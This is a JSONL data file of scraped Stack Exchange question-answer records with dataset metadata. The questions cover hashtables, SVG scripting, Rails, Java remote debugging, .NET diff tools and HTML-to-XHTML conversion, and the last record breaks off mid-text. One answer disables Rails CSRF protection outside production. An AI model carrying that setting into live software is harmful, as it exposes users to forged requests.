{"id": "hf_a8880a28ab05", "question": "<p>I have recently run across these terms few times but I am quite confused how they work and when they are usualy implemented?</p>\n", "question_body": "", "answer": "Well, think of it this way.\nIf you use an array, a simple index-based data structure, and fill it up with random stuff, finding a particular entry gets to be a more and more expensive operation as you fill it with data, since you basically have to start searching from one end toward the other, until you find the one you want.\nIf you want to get faster access to data, you typicall resort to sorting the array and using a binary search. This, however, while increasing the speed of looking up an existing value, makes inserting new values slow, as you need to move existing elements around when you need to insert an element in the middle.\nA hashtable, on the other hand, has an associated function that takes an entry, and reduces it to a number, a hash-key. This number is then used as an index into the array, and this is where you store the entry.\nA hashtable revolves around an array, which initially starts out empty. Empty does not mean zero length, the array starts out with a size, but all the elements in the array contains nothing.\nEach element has two properties, data, and a key that identifies the data. For instance, a list of zip-codes of the US would be a zip-code -> name type of association. The function reduces the key, but does not consider the data.\nSo when you insert something into the hashtable, the function reduces the key to a number, which is used as an index into this (empty) array, and this is where you store the data, both the key, and the associated data.\nThen, later, you want to find a particular entry that you know the key for, so you run the key through the same function, get its hash-key, and goes to that particular place in the hashtable and retrieves the data there.\nThe theory goes that the function that reduces your key to a hash-key, that number, is computationally much cheaper than the linear search.\nA typical hashtable does not have an infinite number of elements available for storage, so the number is typically reduced further down to an index which fits into the size of the array. One way to do this is to simply take the modulus of the index compared to the size of the array. For an array with a size of 10, index 0-9 will map directly to an index, and index 10-19 will map down to 0-9 again, and so on.\nSome keys will be reduced to the same index as an existing entry in the hashtable. At this point the actual keys are compared directly, with all the rules associated with comparing the data types of the key (ie. normal string comparison for instance). If there is a complete match, you either disregard the new data (it already exists) or you overwrite (you replace the old data for that key), or you add it (multi-valued hashtable). If there is no match, which means that though the hash keys was identical, the actual keys were not, you typically find a new location to store that key+data in.\nCollision resolution has many implementations, and the simplest one is to just go to the next empty element in the array. This simple solution has other problems though, so finding the right resolution algorithm is also a good excercise for hashtables.\nHashtables can also grow, if they fill up completely (or close to), and this is usually done by creating a new array of the new size, and calculating all the indexes once more, and placing the items into the new array in their new locations.\nThe function that reduces the key to a number does not produce a linear value, ie. \"AAA\" becomes 1, then \"AAB\" becomes 2, so the hashtable is not sorted by any typical value.\nThere is a good wikipedia article available on the subject as well,\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.761352"}
{"id": "hf_c54939376645", "question": "<p>I create a GUID (as a string) and get the hash of it. Can I consider this hash to be unique?</p>\n", "question_body": "", "answer": "Not as reliably unique as the GUID itself, no.\nJust to expand, you are reducing your uniqueness by a factor of 4, going from 16 bytes to 4 bytes of possible combinations.\nAs pointed out in the comments the hash size will make a difference. The 4 byte thing was an assumption, horrible at best I know, that it may be used in .NET, where the default hash size is 4 bytes (int). So you can replace what I said above with whatever byte size your hash may be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.783785"}
{"id": "hf_89f95a2c6780", "question": "<p>I have made a SVG image, or more like mini application, for viewing graphs of data. I want to include this in a HTML page, and call methods on the SVG image.</p>\n\n<p>Example:</p>\n\n<pre><code>&lt;object id=\"img\" data=\"image.svg\" width=\"500\" height=\"300\"/&gt;\n&lt;script&gt;document.getElementById(\"img\").addData([1,23,4]);&lt;/script&gt;\n</code></pre>\n\n<p>Is it at all possible to call methods on the SVG document? If so, how do I declare the methods to expose in the SVG file, and how do I call them from the HTML document?</p>\n", "question_body": "", "answer": "Solution:\nin svg:\n```\n```\n<script>document.method = function() {}</script>\n```\n```\nin html (using prototype to add event listeners):\n```\n```\n<script>$(\"img\").observe(\"load\", function() {$(\"img\").contentDocument.method()});\n```\n```\nYou need to listen to the load event on the image. Once the image is loaded, you can use the\n```\nelement.contentDocument\n```\nto access the document variable on the svg document. Any methods added to that, will be available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.854310"}
{"id": "hf_c044106446a1", "question": "<p>The CSRF prevention built in to Rails is causing some problems for some automated load testing we are doing, and I want to turn it off for the duration of the process. How do I do this?</p>\n", "question_body": "", "answer": "I love simple questions with clear answers.\n```\n```\n#I go in application.rb\nself.allow_forgery_protection = false\n```\n```\nIf you want to do this for testing only you can move that into one of the environment files (obviously, you'll be touching\n```\nApplication\n```\nthen rather than\n```\nself\n```\n).  You could also write something like:\n```\n```\n#I still go in application.rb\nself.allow_forgery_protection = false unless ENV[\"RAILS_ENV\"] == \"production\"\n```\n```\nSee\nhere\nfor details.  (Continuing Rails' wonderful tradition of having documentation of core features in 2 year old blog posts, which were distilled from commit logs.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.878161"}
{"id": "hf_3d974cbd9132", "question": "<p>I would like to create a page where all images which reside on my website are listed with title and alternative representation.</p>\n\n<p>I already wrote me a little program to find and load all HTML files, but now I am stuck at how to extract <code>src</code>, <code>title</code> and <code>alt</code> from this HTML:</p>\n\n<pre><code>&lt;img <b>src</b>=\"/image/fluffybunny.jpg\" <b>title</b>=\"Harvey the bunny\" <b>alt</b>=\"a cute little fluffy bunny\" /></code></pre>\n\n<p>I guess this should be done with some regex, but since the order of the tags may vary, and I need all of them, I don't really know how to parse this in an elegant way (I could do it the hard char by char way, but that's painful).</p>\n", "question_body": "", "answer": "Just to give a small example of using PHP's XML functionality for the task:\n```\n```\n$doc=new DOMDocument();\n$doc->loadHTML(\"<html><body>Test<br><img src=\\\"myimage.jpg\\\" title=\\\"title\\\" alt=\\\"alt\\\"></body></html>\");\n$xml=simplexml_import_dom($doc); // just to make xpath more simple\n$images=$xml->xpath('//img');\nforeach ($images as $img) {\n    echo $img['src'] . ' ' . $img['alt'] . ' ' . $img['title'];\n}\n```\n```\nI did use the\n```\nDOMDocument::loadHTML()\n```\nmethod because this method can cope with HTML-syntax and does not force the input document to be XHTML. Strictly speaking the conversion to a\n```\nSimpleXMLElement\n```\nis not necessary - it just makes using xpath and the xpath results more simple.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.904411"}
{"id": "hf_9059205ab254", "question": "<p>here is my directory structure.</p>\n\n<p>/user/a\n/user/b\n/user/b</p>\n\n<p>inside folder a,b,c there is a file person.java (it is the Same file, just a one line modification.</p>\n\n<p>now, on my shell, im on my /user/ directory and i try to do </p>\n\n<pre><code>   javac */person.java\n</code></pre>\n\n<p>the shell returns the following error,</p>\n\n<p>person.java:14: duplicate class: person</p>\n\n<p>Is there anything to resolve this?</p>\n", "question_body": "", "answer": "I think the problem here might be, that javac tries to compile everything in one go, which naturally results in duplicated class definitions.\nA simple way to resolve this would be\n```\nfind . -name '*.java' -exec javac {} \\;\n```\nEdit:\nOr to be more precise\n```\nfind . -name 'person.java' -maxdepth 2 -exec javac {} \\;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.923499"}
{"id": "hf_dc13554eb0f7", "question": "<p>I unpacked a zip-file delivery into a clearcase view. Now I want to add the complete file tree to the repository. The GUI only provides an \"Add to source control ...\" for individual files/directories. Do you know how to recursively add the whole tree?</p>\n\n<p>(I'm on a Windows system, but have Cygwin installed.)</p>\n", "question_body": "", "answer": "You have to use the commandline. The Context menu in Explorer doesnt do this recursively!\n```\n```\nclearfsimport –recurse /usr/src/projectx /vobs/projectx/src\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.943789"}
{"id": "hf_bf47927e9155", "question": "<p>Requirements:</p>\n\n<ul>\n<li>free, preferably open-source</li>\n<li>implemented in one of the .NET managed langs</li>\n</ul>\n\n<p>Google found these:</p>\n\n<ul>\n<li><a href=\"http://www.codeproject.com/KB/recipes/diffengine.aspx\" rel=\"noreferrer\">A Generic, Reusable Diff\nAlgorithm</a> on codeproject</li>\n<li><a href=\"http://www.mathertel.de/Diff/\" rel=\"noreferrer\">An O(ND) Difference Algorithm for C#</a></li>\n<li><a href=\"http://razor.occams.info/code/diff/\" rel=\"noreferrer\">Diff/Merge/Patch Library for C#/.NET</a> by Joshua Tauberer</li>\n</ul>\n\n<p>EDIT:</p>\n\n<p>No apps please, only libraries.</p>\n", "question_body": "", "answer": "I think the \"Generic - Reusable Diff Algorithm in C#\" on Codeproject is the best you can find as a .NET-Engine for diff/patch/merge. I made a project on my own with it and it fits my needs with most scenarios. There are one or two worst-case scencario when the algorithm made the patch-file larger than it have to be. But in most of the cases it works just fine for me (textfiles with a size of >30 MB).\nI'm currently testing another Codeproject-Project you can find here:\nhttp://www.codeproject.com/KB/applications/patch.aspx\nIt's using some DLLs from Microsoft for patching, so it looks interesting. But those DLLs are unmanaged and this project is only some sort of wrapper for it. But maybe it can help you\nEdit:\nJust found another project,\nDiffPlex\n:\nhttp://diffplex.codeplex.com/\nIt's\na combination of a .NET Diffing Library with both a Silverlight and HTML diff viewer\n. As stated\nthere\n, DiffPlex is the library that CodePlex leverages to generate the diffs of files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.986785"}
{"id": "hf_12e019d1f88f", "question": "<p>When I am unsure about some thing for a project, I usually use a small separate project and make it my playground for things need to be tested. How do you do that ?</p>\n", "question_body": "", "answer": "I do it the same way. A temporary project has some disadvantages... You have to setup a new project as soon as you want to test something else. Also I found playgrounds to be pretty good references. Often I remember that I tried something previously and then I can look into the old playground files and even change it to adapt to new requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.033421"}
{"id": "hf_1dd29fe4e13e", "question": "<p>I'm attempting to do an AJAX call (via JQuery) that will initiate a fairly long process. I'd like the script to simply send a response indicating that the process has started, but JQuery won't return the response until the PHP script is done running.</p>\n\n<p>I've tried this with a \"close\" header (below), and also with output buffering; neither seems to work. Any guesses? or is this something I need to do in JQuery?</p>\n\n<pre><code>&lt;?php\n\necho( \"We'll email you as soon as this is done.\" );\n\nheader( \"Connection: Close\" );\n\n// do some stuff that will take a while\n\nmail( 'dude@thatplace.com', \"okay I'm done\", 'Yup, all done.' );\n\n?&gt;\n</code></pre>\n", "question_body": "", "answer": "You could try to do multithreading.\nyou could whip up a script that makes a system call ( using\nshell_exec\n) that calls the php binary with the script to do your work as the parameter. But I don't think that is the most secure way. Maybe you can thighten stuff up by chrooting the php process and other stuff\nAlternatively, there's a class at phpclasses that do that\nhttp://www.phpclasses.org/browse/package/3953.html\n. But I don't know the specifics of the implementation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.103754"}
{"id": "hf_be5c07509a2c", "question": "<p>What happens if I use <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/bb762181%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">SHGetFolderPath</a> api call in a 32 bit system with CSIDL_PROGRAM_FILESx86 folder id instead of the CSIDL_PROGRAM_FILES id?</p>\n\n<p>Theoretically CSIDL_PROGRAM_FILESx86 should map to <code>C:\\program files (x86)</code> in a 64 bit system but what does it map to in a 32 bit system where this path doesn't exist?</p>\n", "question_body": "", "answer": "The different scenarios are described in\nthis article on MSDN\n.\nScroll down to remarks, \"FOLDERID_ProgramFiles\"\n```\n```\nThe interpretation of certain KNOWNFOLDERID values depends on whether the folder is part of a 32-bit or 64-bit application and whether that application is running on a 32-bit or 64-bit operating system. If your application needs to distinguish between, for example, Program Files and Program Files (x86), you must use the right KNOWNFOLDERID for the situation.\n\nThe following tables summarize the KNOWNFOLDERID use in those cases.\n\nFOLDERID_ProgramFiles\nOS  Application KNOWNFOLDERID   Default Path    CSIDL Equivalent\n32 bit  32 bit  FOLDERID_ProgramFiles   %SystemDrive%\\Program Files CSIDL_PROGRAM_FILES\n32 bit  32 bit  FOLDERID_ProgramFilesX86    %SystemDrive%\\Program Files CSIDL_PROGRAM_FILESX86\n32 bit  32 bit  FOLDERID_ProgramFilesX64 (undefined)    Not applicable  Not applicable\n64 bit  64 bit  FOLDERID_ProgramFiles   %SystemDrive%\\Program Files CSIDL_PROGRAM_FILES\n64 bit  64 bit  FOLDERID_ProgramFilesX86    %SystemDrive%\\Program Files (x86)   CSIDL_PROGRAM_FILESX86\n64 bit  64 bit  FOLDERID_ProgramFilesX64    %SystemDrive%\\Program Files None\n64 bit  32 bit  FOLDERID_ProgramFiles   %SystemDrive%\\Program Files (x86)   CSIDL_PROGRAM_FILES\n64 bit  32 bit  FOLDERID_ProgramFilesX86    %SystemDrive%\\Program Files (x86)   CSIDL_PROGRAM_FILESX86\n64 bit  32 bit  FOLDERID_ProgramFilesX64    %SystemDrive%\\Program Files None\n```\n```\nSummary: It will point to %SystemDrive%\\Program Files", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.127734"}
{"id": "hf_3d8bf28fff6e", "question": "<p>We're considering writing the next version of out project in using .Net 3, but are wondering if we can take the hit on forcing end users to install the .net framework version 3.</p>\n", "question_body": "", "answer": "If you want to ensure you are only using .NET 2.0 compatible functionality then you should only use .NET 2.0 assemblies. Then you know your safe and sound.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.171161"}
{"id": "hf_d8aaaf461496", "question": "<p>I have a HTML report, which needs to be printed landscape because of the many columns. It there a way to do this, without the user having to change the document settings?</p>\n\n<p>And what are the options amongst browsers.</p>\n", "question_body": "", "answer": "You can also use the non-standard IE-only css attribute\nwriting-mode\n```\n```\ndiv.page    { \n   writing-mode: tb-rl;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.243506"}
{"id": "hf_31dcc24ca46c", "question": "<p>From within my Java program I want to determine which .NET Framework is installed on the system. What is the best (and easiest) way to do this?</p>\n\n<p><strong>Answer</strong> Thanks scubabbl! It worked to check the directory <code>System.getenv( \"WINDIR\" ) + \"\\\\Microsoft.NET\\\\Framework\"</code> for its directories starting with the letter \"v\".</p>\n", "question_body": "", "answer": "From what I understand, the actual file structure in c:\\windows\\Microsoft.Net\\Framework has folders with versions of .Net installed. On my computer, I have folders up to v3.5, or \nc:\\windows\\Microsoft.Net\\Framework\\v3.5.\nThere are lots of issues with this, including security issues though.\nThe second, and probably better answer would be to check the windows registry.\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\nThe Version key will have the value you are looking for.\nEdit: stackoverflow question regarding reading the registry with java.\nread/write to Windows Registry using Java\nThis library\nhttp://www.trustice.com/java/jnireg/\nwill allow you to read the registry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.267200"}
{"id": "hf_3e6642d07c4b", "question": "<p>Is it possible to send my own developed exceptions over Soap to a client using http.sys??</p>\n", "question_body": "", "answer": "Yes, you can throw your own exceptions. Any uncaught exception that does not derive from SoapException will be bottled up by the .NET framework into a SoapException. You can derive from SoapException if you want to control how certain parts of the SoapException are formed (for instance, the fault and detail portions).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.327160"}
{"id": "hf_9925a51426dc", "question": "<p>How does one handle a <code>DateTime</code> with a <code>NOT NULL</code>?</p>\n<p>I want to do something like this:</p>\n<pre><code>SELECT * FROM someTable WHERE thisDateTime IS NOT NULL\n</code></pre>\n<p>But how?</p>\n", "question_body": "", "answer": "erm it does work? I've just tested it?\n```\n```\n/****** Object:  Table [dbo].[DateTest]    Script Date: 09/26/2008 10:44:21 ******/\nSET ANSI_NULLS ON\nGO\nSET QUOTED_IDENTIFIER ON\nGO\nCREATE TABLE [dbo].[DateTest](\n    [Date1] [datetime] NULL,\n    [Date2] [datetime] NOT NULL\n) ON [PRIMARY]\n\nGO\nInsert into DateTest (Date1,Date2) VALUES (NULL,'1-Jan-2008')\nInsert into DateTest (Date1,Date2) VALUES ('1-Jan-2008','1-Jan-2008')\nGo\nSELECT * FROM DateTest WHERE Date1 is not NULL\nGO\nSELECT * FROM DateTest WHERE Date2 is not NULL\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.350394"}
{"id": "hf_688910893755", "question": "<p>How would you go about producing reports by user selected date ranges in a rails app?  What are the best date range pickers? </p>\n\n<p>edit in response to patrick : I am looking for a bit of both widget and active record advice but what I am really curious about is how to restfully display a date ranged list based on user selected dates. </p>\n", "question_body": "", "answer": "Are we asking an interface question here (i.e. you want a widget) or an ActiveRecord question?\nDate Picking Widgets\n1)\nDefault Rails Solution\n: See\n```\ndate_select\n```\ndocumentation\nhere\n.\n2)\nUse a plugin\n: Why write code?  I personally like the\nCalendarDateSelect\nplugin, using a pair of the suckers when I need a range.\n3)\nAdapt a Javascript widget to Rails\n: It is almost trivial to integrate something like the Yahoo UI library (YUI)\nCalendar\n, which is all Javascript, to Rails.  From the perspective of Rails its just another way to populate the\n```\nparams[:start_date]\n```\nand\n```\nparams[:end_date]\n```\n.  YUI Calendar has native support for ranges.\nGetting the data from the Widgets\n1)\nDefault Rails Solution\nSee\n```\ndate_select\n```\ndocumentation\nhere\n.\n```\n```\n#an application helper method you'll find helpful\n#credit to http://blog.zerosum.org/2007/5/9/deconstructing-date_select\n\n# Reconstruct a date object from date_select helper form params\ndef build_date_from_params(field_name, params)\n  Date.new(params[\"#{field_name.to_s}(1i)\"].to_i, \n       params[\"#{field_name.to_s}(2i)\"].to_i, \n       params[\"#{field_name.to_s}(3i)\"].to_i)\nend\n\n#goes into view\n<%= date_select \"report\", \"start_date\", ... %>\n<%= date_select \"report\", \"end_date\", ... %>    \n\n#goes into controller -- add your own error handling/defaults, please!\nreport_start_date = build_date_from_params(\"start_date\", params[:report])\nreport_end_date = build_date_from_params(\"end_date\", params[:report])\n```\n```\n2)\nCalendarDateSelect\n: Rather similar to the above, just with sexier visible UI.\n3)\nAdapt a Javascript widget\n: Typically this means that some form element will have the date input as a string.  Great news for you, since Date.parse is some serious magic.  The params[:some_form_element_name] will be initialized by Rails for you.\n```\n```\n#goes in controller.  Please handle errors yourself -- Javascript != trusted input.\nreport_start_date = Date.parse(params[:report_start_date])\n```\n```\nWriting the call to ActiveRecord\nEasy as pie.\n```\n```\n#initialize start_date and end_date up here, by pulling from params probably\n  @models = SomeModel.find(:all, :conditions => ['date >= ? and date <= ?',\n    start_date, end_date])\n  #do something with models\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.374148"}
{"id": "hf_3ef43a867223", "question": "<p>How can I iterate over each file in a directory using a <code>for</code> loop?</p>\n\n<p>And how could I tell if a certain entry is a directory or if it's just a file?</p>\n", "question_body": "", "answer": "```\n```\nfor %1 in (*.*) do echo %1\n```\n```\nTry \"HELP FOR\" in cmd for a full guide\nThis is the guide for XP commands.\nhttp://www.ss64.com/nt/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.398542"}
{"id": "hf_df0ac82706be", "question": "<p>I have mixed data i nvarchar column (words and numbers).\nWhich is fastest way to sort data in this column in Numeric Order.</p>\n\n<p>Result example:</p>\n\n<ul>\n<li>1</li>\n<li>2</li>\n<li>3</li>\n<li>...</li>\n<li>10</li>\n<li>11</li>\n<li>...</li>\n<li>aaaa</li>\n<li>aaab</li>\n<li>b</li>\n<li>ba</li>\n<li>ba</li>\n<li>...</li>\n</ul>\n", "question_body": "", "answer": "Cast it.\n```\n```\nSELECT * FROM foo ORDER BY CAST(somecolumn AS int);\n```\n```\nBeen a while since I've touched SQL Server, so my syntax might be entirely incorrect though :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.421839"}
{"id": "hf_d997a7c9a7d1", "question": "<p>My understanding of the MVC is as follows (incase it's horribly wrong, I am afterall new to it)</p>\n\n<ol>\n<li>Models are the things that interface with the database</li>\n<li>Views are the design/layout of the page</li>\n<li>Controllers are where everything starts and are essentially the page logic</li>\n</ol>\n\n<p>I'm using <a href=\"http://codeigniter.com/\" rel=\"noreferrer\">CodeIgniter</a> but I would hazard a guess it's not just limited to that or possibly even just to PHP frameworks.</p>\n\n<p>Where do I put global classes?</p>\n\n<p>I may have a model for Products and I then run a query that collects 20 products from the database. Do I now make 20 models or should I have a separate class for it, if the latter, where do I put this class (other controllers will need to use it too)</p>\n", "question_body": "", "answer": "In\nCakePHP\nthere are 3 more \"parts\" :\nBehaviors\nComponents\nHelpers\nLogic that are used by many models should be made as a behavior. I do not know if CodeIgniter have this logic or not, but if it doesnt, I would try to implement it as such. You can read about behaviors\nhere\n.\n(Components helps controller share logic and helpers help views in the same way).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.457743"}
{"id": "hf_70f676e55e68", "question": "<p>I know there's some <code>JAVA_OPTS</code> to set to remotely debug a Java program.</p>\n\n<p>What are they and what do they mean ?</p>\n", "question_body": "", "answer": "I have\nthis article\nbookmarked on setting this up for Java 5 and below.\nBasically\nrun it with\n:\n```\n```\n-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=1044\n```\n```\nFor\nJava 5 and above\n, run it with:\n```\n```\n-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1044\n```\n```\nIf you want Java to\nwait for you to connect\nbefore executing the application, replace\n```\nsuspend=n\n```\nwith\n```\nsuspend=y\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.482126"}
{"id": "hf_a47ac75e03c0", "question": "<p>In continuation of the my <a href=\"https://stackoverflow.com/questions/138331/any-decent-text-diffmerge-engine-for-net\">previous question</a>, are the any good controls for text diffs visualization?</p>\n\n<p>Something like StackOverflow's revision diff viewer but for WinForms or WPF</p>\n\n<p>Requirements:</p>\n\n<ul>\n<li>free, preferably open-source</li>\n<li>based on WPF or WinForms</li>\n</ul>\n\n<p>No apps please, only components.  </p>\n\n<p><strong>I'm not interested in OSS diff tools</strong></p>\n", "question_body": "", "answer": "I never heard about a specific .NET component for diff visualization (it's kind a niche), but perhaps you could rely on advanced editor to build your own without too much trouble.\nSyncfusion proposes a\ncomplete component suite\ndedicated to text/code edition, with a lot of built in features that you might find useful :\nLine and selection background\nText highlighting\n(colored underline, waveline, borders, strike, etc.)\nSelection margin\nText selection\nSyntax highlighting\nImportant note : it is\nnot\nfree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.516970"}
{"id": "hf_f3e5b78dd2b7", "question": "<p>I didn't find an explicit answer to this question in the WiX Documentation (or Google, for that matter). Of course I could just write the appropriate registry keys in HKCR, but it makes me feel dirty and I'd expect this to be a standard task which should have a nice default solution.</p>\n\n<p>For bonus points, I'd like to know how to make it \"safe\", i.e. don't overwrite existing registrations for the file type and remove the registration on uninstall only if it has been registered during installation and is unchanged.</p>\n", "question_body": "", "answer": "\"If your application handles its own file data type, you will need to register a file association for it. Put a ProgId inside your component. FileId should refer to the Id attribute of the File element describing the file meant to handle the files of this extension. Note the exclamation mark: it will return the short path of the file instead of the long one:\"\n```\n```\n<ProgId Id='AcmeFoobar.xyzfile' Description='Acme Foobar data file'>\n  <Extension Id='xyz' ContentType='application/xyz'>\n     <Verb Id='open' Sequence='10' Command='Open' Target='[!FileId]' Argument='\"%1\"' />\n  </Extension>\n</ProgId>\n```\n```\nReference:\nhttps://www.firegiant.com/wix/tutorial/getting-started/beyond-files/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.580011"}
{"id": "hf_3a5c6c901ab3", "question": "<p>I need to replace character (say) <strong>x</strong> with character (say) <strong>P</strong> in a string, but only if it is contained in a quoted substring.\nAn example makes it clearer:</p>\n\n<pre><code>axbx'cxdxe'fxgh'ixj'k  -&gt; axbx'cPdPe'fxgh'iPj'k\n</code></pre>\n\n<p>Let's assume, for the sake of simplicity, that quotes always come in pairs. </p>\n\n<p>The obvious way is to just process the string one character at a time (a simple state machine approach);<br>\nhowever, I'm wondering if regular expressions can be used to do all the processing in one go.</p>\n\n<p>My target language is C#, but I guess my question pertains to any language having builtin or library support for regular expressions.</p>\n", "question_body": "", "answer": "Not with plain regexp. Regular expressions have no \"memory\" so they cannot distinguish between being \"inside\" or \"outside\" quotes.\nYou need something more powerful, for example using\ngema\nit would be straighforward:\n```\n```\n'<repl>'=$0\nrepl:x=P\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:31.603539"}
{"id": "hf_5ac85e12e071", "question": "<p>I need to convert HTML documents into valid XML, preferably XHTML. What's the best way to do this? Does anybody know a toolkit/library/sample/...whatever that helps me to get that task done?</p>\n\n<p>To be a bit more clear here, my application has to do the conversion automatically at runtime. I don't look for a tool that helps me to move some pages to XHTML manually.</p>\n", "question_body": "", "answer": "Convert from HTML to XML with HTML Tidy\nDownloadable Binaries\nJRoppert, For your need, i guess you might want to look at the\nSources\n```\n```\nc:\\temp>tidy -help\ntidy [option...] [file...] [option...] [file...]\nUtility to clean up and pretty print HTML/XHTML/XML\nsee http://tidy.sourceforge.net/\n\nOptions for HTML Tidy for Windows released on 14 February 2006:\n\nFile manipulation\n-----------------\n -output <file>, -o  write output to the specified <file>\n <file>\n -config <file>      set configuration options from the specified <file>\n -file <file>, -f    write errors to the specified <file>\n <file>\n -modify, -m         modify the original input files\n\nProcessing directives\n---------------------\n -indent, -i         indent element content\n -wrap <column>, -w  wrap text at the specified <column>. 0 is assumed if\n <column>            <column> is missing. When this option is omitted, the\n                     default of the configuration option \"wrap\" applies.\n -upper, -u          force tags to upper case\n -clean, -c          replace FONT, NOBR and CENTER tags by CSS\n -bare, -b           strip out smart quotes and em dashes, etc.\n -numeric, -n        output numeric rather than named entities\n -errors, -e         only show errors\n -quiet, -q          suppress nonessential output\n -omit               omit optional end tags\n -xml                specify the input is well formed XML\n -asxml, -asxhtml    convert HTML to well formed XHTML\n -ashtml             force XHTML to well formed HTML\n -access <level>     